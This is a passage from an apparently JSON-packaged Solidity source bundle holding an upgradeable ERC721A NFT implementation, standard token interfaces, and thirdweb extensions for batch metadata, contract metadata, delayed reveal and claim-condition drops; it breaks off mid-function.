address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n function __ERC721A_init(string memory name_, string memory symbol_) internal onlyInitializing {\n __ERC721A_init_unchained(name_, symbol_);\n }\n\n function __ERC721A_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n _currentIndex = _startTokenId();\n }\n\n /**\n * To change the starting tokenId, please override this function.\n */\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n /**\n * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.\n */\n function totalSupply() public view override returns (uint256) {\n // Counter underflow is impossible as _burnCounter cannot be incremented\n // more than _currentIndex - _startTokenId() times\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n /**\n * Returns the total amount of tokens minted in the contract.\n */\n function _totalMinted() internal view returns (uint256) {\n // Counter underflow is impossible as _currentIndex does not decrement,\n // and it is initialized to _startTokenId()\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {\n return\n interfaceId == type(IERC721Upgradeable).interfaceId ||\n interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view override returns (uint256) {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n return uint256(_addressData[owner].balance);\n }\n\n /**\n * Returns the number of tokens minted by `owner`.\n */\n function _numberMinted(address owner) internal view returns (uint256) {\n return uint256(_addressData[owner].numberMinted);\n }\n\n /**\n * Returns the number of tokens burned by or on behalf of `owner`.\n */\n function _numberBurned(address owner) internal view returns (uint256) {\n return uint256(_addressData[owner].numberBurned);\n }\n\n /**\n * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).\n */\n function _getAux(address owner) internal view returns (uint64) {\n return _addressData[owner].aux;\n }\n\n /**\n * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).\n * If there are multiple variables, please pack them into a uint64.\n */\n function _setAux(address owner, uint64 aux) internal {\n _addressData[owner].aux = aux;\n }\n\n /**\n * Gas spent here starts off proportional to the maximum mint batch size.\n * It gradually moves to O(1) as tokens get transferred around in the collection over time.\n */\n function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n TokenOwnership memory ownership = _ownerships[curr];\n if (!ownership.burned) {\n if (ownership.addr != address(0)) {\n return ownership;\n }\n // Invariant:\n // There will always be an ownership that has an address and is not burned\n // before an ownership that does not have an address and is not burned.\n // Hence, curr will not underflow.\n while (true) {\n curr--;\n ownership = _ownerships[curr];\n if (ownership.addr != address(0)) {\n return ownership;\n }\n }\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return _ownershipOf(tokenId).addr;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overriden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721AUpgradeable.ownerOf(tokenId);\n if (to == owner) revert ApprovalToCurrentOwner();\n\n if (_msgSender() != owner)\n if (!isApprovedForAll(owner, _msgSender())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _approve(to, tokenId, owner);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n if (operator == _msgSender()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSender()][operator] = approved;\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(address from, address to, uint256 tokenId) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {\n _transfer(from, to, tokenId);\n if (to.isContract())\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n */\n function _exists(uint256 tokenId) internal view returns (bool) {\n return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned;\n }\n\n /**\n * @dev Equivalent to `_safeMint(to, quantity, '')`.\n */\n function _safeMint(address to, uint256 quantity) internal {\n _safeMint(to, quantity, \"\");\n }\n\n /**\n * @dev Safely mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called for each safe transfer.\n * - `quantity` must be greater than 0.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 quantity, bytes memory _data) internal {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are incredibly unrealistic.\n // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1\n // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1\n unchecked {\n _addressData[to].balance += uint64(quantity);\n _addressData[to].numberMinted += uint64(quantity);\n\n _ownerships[startTokenId].addr = to;\n _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);\n\n uint256 updatedIndex = startTokenId;\n uint256 end = updatedIndex + quantity;\n\n if (to.isContract()) {\n do {\n emit Transfer(address(0), to, updatedIndex);\n if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (updatedIndex < end);\n // Reentrancy protection\n if (_currentIndex != startTokenId) revert();\n } else {\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n }\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are incredibly unrealistic.\n // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1\n // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1\n unchecked {\n _addressData[to].balance += uint64(quantity);\n _addressData[to].numberMinted += uint64(quantity);\n\n _ownerships[startTokenId].addr = to;\n _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);\n\n uint256 updatedIndex = startTokenId;\n uint256 end = updatedIndex + quantity;\n\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(address from, address to, uint256 tokenId) private {\n TokenOwnership memory prevOwnership = _ownershipOf(tokenId);\n\n if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();\n\n bool isApprovedOrOwner = (_msgSender() == from ||\n isApprovedForAll(from, _msgSender()) ||\n getApproved(tokenId) == _msgSender());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId, from);\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.\n unchecked {\n _addressData[from].balance -= 1;\n _addressData[to].balance += 1;\n\n TokenOwnership storage currSlot = _ownerships[tokenId];\n currSlot.addr = to;\n currSlot.startTimestamp = uint64(block.timestamp);\n\n // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.\n // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.\n uint256 nextTokenId = tokenId + 1;\n TokenOwnership storage nextSlot = _ownerships[nextTokenId];\n if (nextSlot.addr == address(0)) {\n // This will suffice for checking _exists(nextTokenId),\n // as a burned slot cannot contain the zero address.\n if (nextTokenId != _currentIndex) {\n nextSlot.addr = from;\n nextSlot.startTimestamp = prevOwnership.startTimestamp;\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n /**\n * @dev Equivalent to `_burn(tokenId, false)`.\n */\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n TokenOwnership memory prevOwnership = _ownershipOf(tokenId);\n\n address from = prevOwnership.addr;\n\n if (approvalCheck) {\n bool isApprovedOrOwner = (_msgSender() == from ||\n isApprovedForAll(from, _msgSender()) ||\n getApproved(tokenId) == _msgSender());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId, from);\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.\n unchecked {\n AddressData storage addressData = _addressData[from];\n addressData.balance -= 1;\n addressData.numberBurned += 1;\n\n // Keep track of who burned the token, and the timestamp of burning.\n TokenOwnership storage currSlot = _ownerships[tokenId];\n currSlot.addr = from;\n currSlot.startTimestamp = uint64(block.timestamp);\n currSlot.burned = true;\n\n // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.\n // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.\n uint256 nextTokenId = tokenId + 1;\n TokenOwnership storage nextSlot = _ownerships[nextTokenId];\n if (nextSlot.addr == address(0)) {\n // This will suffice for checking _exists(nextTokenId),\n // as a burned slot cannot contain the zero address.\n if (nextTokenId != _currentIndex) {\n nextSlot.addr = from;\n nextSlot.startTimestamp = prevOwnership.startTimestamp;\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.\n unchecked {\n _burnCounter++;\n }\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits a {Approval} event.\n */\n function _approve(address to, uint256 tokenId, address owner) private {\n _tokenApprovals[tokenId] = to;\n emit Approval(owner, to, tokenId);\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param _data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (\n bytes4 retval\n ) {\n return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n /**\n * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.\n * And also called before burning one token.\n *\n * startTokenId - the first token id to be transferred\n * quantity - the amount to be transferred\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _beforeTokenTransfers(address from, address to, uint256 startTokenId, uint256 quantity) internal virtual {}\n\n /**\n * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes\n * minting.\n * And also called after one token has been burned.\n *\n * startTokenId - the first token id to be transferred\n * quantity - the amount to be transferred\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been\n * transferred to `to`.\n * - When `from` is zero, `tokenId` has been minted for `to`.\n * - When `to` is zero, `tokenId` has been burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _afterTokenTransfers(address from, address to, uint256 startTokenId, uint256 quantity) internal virtual {}\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[42] private __gap;\n}\n"
},
"contracts/eip/interface/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * [EIP](https://eips.ethereum.org/EIPS/eip-165).\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"contracts/eip/interface/IERC20.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/**\n * @title ERC20 interface\n * @dev see https://github.com/ethereum/EIPs/issues/20\n */\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(address owner, address spender) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(address from, address to, uint256 value) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n"
},
"contracts/eip/interface/IERC2981.sol": {
"content": "// SPDX-License-Identifier: Apache 2.0\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be payed in that same unit of exchange.\n */\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"contracts/extension/BatchMintMetadata.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\n/**\n * @title Batch-mint Metadata\n * @notice The `BatchMintMetadata` is a contract extension for any base NFT contract. It lets the smart contract\n * using this extension set metadata for `n` number of NFTs all at once. This is enabled by storing a single\n * base URI for a batch of `n` NFTs, where the metadata for each NFT in a relevant batch is `baseURI/tokenId`.\n */\n\ncontract BatchMintMetadata {\n /// @dev Largest tokenId of each batch of tokens with the same baseURI + 1 {ex: batchId 100 at position 0 includes tokens 0-99}\n uint256[] private batchIds;\n\n /// @dev Mapping from id of a batch of tokens => to base URI for the respective batch of tokens.\n mapping(uint256 => string) private baseURI;\n\n /// @dev Mapping from id of a batch of tokens => to whether the base URI for the respective batch of tokens is frozen.\n mapping(uint256 => bool) public batchFrozen;\n\n /// @dev This event emits when the metadata of all tokens are frozen.\n /// While not currently supported by marketplaces, this event allows\n /// future indexing if desired.\n event MetadataFrozen();\n\n // @dev This event emits when the metadata of a range of tokens is updated.\n /// So that the third-party platforms such as NFT market could\n /// timely update the images and related attributes of the NFTs.\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @notice Returns the count of batches of NFTs.\n * @dev Each batch of tokens has an in ID and an associated `baseURI`.\n * See {batchIds}.\n */\n function getBaseURICount() public view returns (uint256) {\n return batchIds.length;\n }\n\n /**\n * @notice Returns the ID for the batch of tokens at the given index.\n * @dev See {getBaseURICount}.\n * @param _index Index of the desired batch in batchIds array.\n */\n function getBatchIdAtIndex(uint256 _index) public view returns (uint256) {\n if (_index >= getBaseURICount()) {\n revert(\"Invalid index\");\n }\n return batchIds[_index];\n }\n\n /// @dev Returns the id for the batch of tokens the given tokenId belongs to.\n function _getBatchId(uint256 _tokenId) internal view returns (uint256 batchId, uint256 index) {\n uint256 numOfTokenBatches = getBaseURICount();\n uint256[] memory indices = batchIds;\n\n for (uint256 i = 0; i < numOfTokenBatches; i += 1) {\n if (_tokenId < indices[i]) {\n index = i;\n batchId = indices[i];\n\n return (batchId, index);\n }\n }\n\n revert(\"Invalid tokenId\");\n }\n\n /// @dev Returns the baseURI for a token. The intended metadata URI for the token is baseURI + tokenId.\n function _getBaseURI(uint256 _tokenId) internal view returns (string memory) {\n uint256 numOfTokenBatches = getBaseURICount();\n uint256[] memory indices = batchIds;\n\n for (uint256 i = 0; i < numOfTokenBatches; i += 1) {\n if (_tokenId < indices[i]) {\n return baseURI[indices[i]];\n }\n }\n revert(\"Invalid tokenId\");\n }\n\n /// @dev returns the starting tokenId of a given batchId.\n function _getBatchStartId(uint256 _batchID) internal view returns (uint256) {\n uint256 numOfTokenBatches = getBaseURICount();\n uint256[] memory indices = batchIds;\n\n for (uint256 i = 0; i < numOfTokenBatches; i++) {\n if (_batchID == indices[i]) {\n if (i > 0) {\n return indices[i - 1];\n }\n return 0;\n }\n }\n revert(\"Invalid batchId\");\n }\n\n /// @dev Sets the base URI for the batch of tokens with the given batchId.\n function _setBaseURI(uint256 _batchId, string memory _baseURI) internal {\n require(!batchFrozen[_batchId], \"Batch frozen\");\n baseURI[_batchId] = _baseURI;\n emit BatchMetadataUpdate(_getBatchStartId(_batchId), _batchId);\n }\n\n /// @dev Freezes the base URI for the batch of tokens with the given batchId.\n function _freezeBaseURI(uint256 _batchId) internal {\n string memory baseURIForBatch = baseURI[_batchId];\n require(bytes(baseURIForBatch).length > 0, \"Invalid batch\");\n batchFrozen[_batchId] = true;\n emit MetadataFrozen();\n }\n\n /// @dev Mints a batch of tokenIds and associates a common baseURI to all those Ids.\n function _batchMintMetadata(\n uint256 _startId,\n uint256 _amountToMint,\n string memory _baseURIForTokens\n ) internal returns (uint256 nextTokenIdToMint, uint256 batchId) {\n batchId = _startId + _amountToMint;\n nextTokenIdToMint = batchId;\n\n batchIds.push(batchId);\n\n baseURI[batchId] = _baseURIForTokens;\n }\n}\n"
},
"contracts/extension/ContractMetadata.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./interface/IContractMetadata.sol\";\n\n/**\n * @title Contract Metadata\n * @notice Thirdweb's `ContractMetadata` is a contract extension for any base contracts. It lets you set a metadata URI\n * for you contract.\n * Additionally, `ContractMetadata` is necessary for NFT contracts that want royalties to get distributed on OpenSea.\n */\n\nabstract contract ContractMetadata is IContractMetadata {\n /// @notice Returns the contract metadata URI.\n string public override contractURI;\n\n /**\n * @notice Lets a contract admin set the URI for contract-level metadata.\n * @dev Caller should be authorized to setup contractURI, e.g. contract admin.\n * See {_canSetContractURI}.\n * Emits {ContractURIUpdated Event}.\n *\n * @param _uri keccak256 hash of the role. e.g. keccak256(\"TRANSFER_ROLE\")\n */\n function setContractURI(string memory _uri) external override {\n if (!_canSetContractURI()) {\n revert(\"Not authorized\");\n }\n\n _setupContractURI(_uri);\n }\n\n /// @dev Lets a contract admin set the URI for contract-level metadata.\n function _setupContractURI(string memory _uri) internal {\n string memory prevURI = contractURI;\n contractURI = _uri;\n\n emit ContractURIUpdated(prevURI, _uri);\n }\n\n /// @dev Returns whether contract metadata can be set in the given execution context.\n function _canSetContractURI() internal view virtual returns (bool);\n}\n"
},
"contracts/extension/DelayedReveal.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./interface/IDelayedReveal.sol\";\n\n/**\n * @title Delayed Reveal\n * @notice Thirdweb's `DelayedReveal` is a contract extension for base NFT contracts. It lets you create batches of\n * 'delayed-reveal' NFTs. You can learn more about the usage of delayed reveal NFTs here - https://blog.thirdweb.com/delayed-reveal-nfts\n */\n\nabstract contract DelayedReveal is IDelayedReveal {\n /// @dev Mapping from tokenId of a batch of tokens => to delayed reveal data.\n mapping(uint256 => bytes) public encryptedData;\n\n /// @dev Sets the delayed reveal data for a batchId.\n function _setEncryptedData(uint256 _batchId, bytes memory _encryptedData) internal {\n encryptedData[_batchId] = _encryptedData;\n }\n\n /**\n * @notice Returns revealed URI for a batch of NFTs.\n * @dev Reveal encrypted base URI for `_batchId` with caller/admin's `_key` used for encryption.\n * Reverts if there's no encrypted URI for `_batchId`.\n * See {encryptDecrypt}.\n *\n * @param _batchId ID of the batch for which URI is being revealed.\n * @param _key Secure key used by caller/admin for encryption of baseURI.\n *\n * @return revealedURI Decrypted base URI.\n */\n function getRevealURI(uint256 _batchId, bytes calldata _key) public view returns (string memory revealedURI) {\n bytes memory data = encryptedData[_batchId];\n if (data.length == 0) {\n revert(\"Nothing to reveal\");\n }\n\n (bytes memory encryptedURI, bytes32 provenanceHash) = abi.decode(data, (bytes, bytes32));\n\n revealedURI = string(encryptDecrypt(encryptedURI, _key));\n\n require(keccak256(abi.encodePacked(revealedURI, _key, block.chainid)) == provenanceHash, \"Incorrect key\");\n }\n\n /**\n * @notice Encrypt/decrypt data on chain.\n * @dev Encrypt/decrypt given `data` with `key`. Uses inline assembly.\n * See: https://ethereum.stackexchange.com/questions/69825/decrypt-message-on-chain\n *\n * @param data Bytes of data to encrypt/decrypt.\n * @param key Secure key used by caller for encryption/decryption.\n *\n * @return result Output after encryption/decryption of given data.\n */\n function encryptDecrypt(bytes memory data, bytes calldata key) public pure override returns (bytes memory result) {\n // Store data length on stack for later use\n uint256 length = data.length;\n\n // solhint-disable-next-line no-inline-assembly\n assembly {\n // Set result to free memory pointer\n result := mload(0x40)\n // Increase free memory pointer by lenght + 32\n mstore(0x40, add(add(result, length), 32))\n // Set result length\n mstore(result, length)\n }\n\n // Iterate over the data stepping by 32 bytes\n for (uint256 i = 0; i < length; i += 32) {\n // Generate hash of the key and offset\n bytes32 hash = keccak256(abi.encodePacked(key, i));\n\n bytes32 chunk;\n // solhint-disable-next-line no-inline-assembly\n assembly {\n // Read 32-bytes data chunk\n chunk := mload(add(data, add(i, 32)))\n }\n // XOR the chunk with hash\n chunk ^= hash;\n // solhint-disable-next-line no-inline-assembly\n assembly {\n // Write 32-byte encrypted chunk\n mstore(add(result, add(i, 32)), chunk)\n }\n }\n }\n\n /**\n * @notice Returns whether the relvant batch of NFTs is subject to a delayed reveal.\n * @dev Returns `true` if `_batchId`'s base URI is encrypted.\n * @param _batchId ID of a batch of NFTs.\n */\n function isEncryptedBatch(uint256 _batchId) public view returns (bool) {\n return encryptedData[_batchId].length > 0;\n }\n}\n"
},
"contracts/extension/Drop.sol": {
"content": "// SPDX-License-Identifier: Apache-2.0\npragma solidity ^0.8.0;\n\n/// @author thirdweb\n\nimport \"./interface/IDrop.sol\";\nimport \"../lib/MerkleProof.sol\";\n\nabstract contract Drop is IDrop {\n /*///////////////////////////////////////////////////////////////\n State variables\n //////////////////////////////////////////////////////////////*/\n\n /// @dev The active conditions for claiming tokens.\n ClaimConditionList public claimCondition;\n\n /*///////////////////////////////////////////////////////////////\n Drop logic\n //////////////////////////////////////////////////////////////*/\n\n /// @dev Lets an account claim tokens.\n function claim(\n address _receiver,\n uint256 _quantity,\n address _currency,\n uint256 _pricePerToken,\n AllowlistProof calldata _allowlistProof,\n bytes memory _data\n ) public payable virtual override {\n _beforeClaim(_receiver, _quantity, _currency, _pricePerToken, _allowlistProof, _data);\n\n uint256 activeConditionId = getActiveClaimConditionId();\n\n verifyClaim(activeConditionId, _dropMsgSender(), _quantity, _currency, _pricePerToken, _allowlistProof);\n\n // Update contract state.\n claimCondition.conditions[activeConditionId].supplyClaimed += _quantity;\n claimCondition.supplyClaimedByWallet[activeConditionId][_dropMsgSender()] += _quantity;\n\n // If there's a price, collect price.\n _collectPriceOnClaim(address(0), _quantity, _currency, _pricePerToken);\n\n // Mint the relevant tokens to claimer.\n uint256 startTokenId = _transferTokensOnClaim(_receiver, _quantity);\n\n emit TokensClaimed(activeConditionId, _dropMsgSender(), _receiver, startTokenId, _quantity);\n\n _afterClaim(_receiver, _quantity, _currency, _pricePerToken, _allowlistProof, _data);\n }\n\n /// @dev Lets a contract admin set claim conditions.\n function setClaimConditions(\n ClaimCondition[] calldata _conditions,\n bool _resetClaimEligibility\n ) external virtual override {\n if (!_canSetClaimConditions()) {\n revert(\"Not authorized\");\n }\n\n uint256 existingStartIndex = claimCondition.currentStartId;\n uint256 existingPhaseCount = claimCondition.count;\n\n /**\n * The mapping `supplyClaimedByWallet` uses a claim condition's UID as a key.\n *\n * If `_resetClaimEligibility == true`, we assign completely new UIDs to the claim\n * conditions in `_conditions`, effectively resetting the restrictions on claims expressed\n * by `supplyClaimedByWallet`.\n */\n uint256 newStartIndex = existingStartIndex;\n if (_resetClaimEligibility) {\n newStartIndex = existingStartIndex + existingPhaseCount;\n }\n\n claimCondition.count = _conditions.length;\n claimCondition.currentStartId = newStartIndex;\n\n uint256 lastConditionStartTimestamp;\n for (uint256 i = 0; i < _conditions.length; i++) {\n require(i == 0 || lastConditionStartTimestamp < _conditions[i].startTimestamp, \"ST\");\n\n uint256 supplyClaimedAlready = claimCondition.conditions[newStartIndex + i].supplyClaimed;\n if (supplyClaimedAlready > _conditions[i].maxClaimableSupply) {\n revert(\"max supply claimed\");\n }\n\n claimCondition.conditions[newStartIndex + i] = _conditions[i];\n claimCondition.conditions[newStartIndex + i].supplyClaimed = supplyClaimedAlready;\n\n lastConditionStartTimestamp = _conditions[i].startTimestamp;\n }\n\n /**\n * Gas refunds (as much as possible)\n *\n * If `_resetClaimEligibility == true`, we assign completely new UIDs to the claim\n * conditions in `_conditions`. So, we delete claim conditions with UID < `newStartIndex`.\n *\n * If `_resetClaimEligibility == false`, and there are more existing claim conditions\n * than in `_conditions`, we delete the existing claim conditions that don't get replaced\n * by the conditions in `_conditions`.\n */\n if (_resetClaimEligibility) {\n for (uint256 i = existingStartIndex; i < newStartIndex; i++) {\n delete claimCondition.conditions[i];\n }\n } else {\n if (existingPhaseCount > _conditions.length) {\n for (uint256 i = _conditions.length; i < existingPhaseCount; i++) {\n delete claimCondition.conditions[newStartIndex + i];\n }\n }\n }\n\n emit ClaimConditionsUpdated(_conditions, _resetClaimEligibility);\n }\n\n /// @dev Checks a request to claim NFTs against the active claim condition's criteria.\n function verifyClaim(\n uint256 _conditionId,\n address _claimer,\n uint256 _quantity,\n address _currency,\n uint256 _pricePerToken,\n AllowlistProof calldata _allowlistProof\n ) public view virtual returns (bool isOverride) {\n ClaimCondition memory currentClaimPhase = claimCondition.conditions[_conditionId];\n uint256 claimLimit = currentClaimPhase.quantityLimitPerWallet;\n uint256 claimPrice = currentClaimPhase.pricePerToken;\n address claimCurrency = currentClaimPhase.currency;\n\n /*\n * 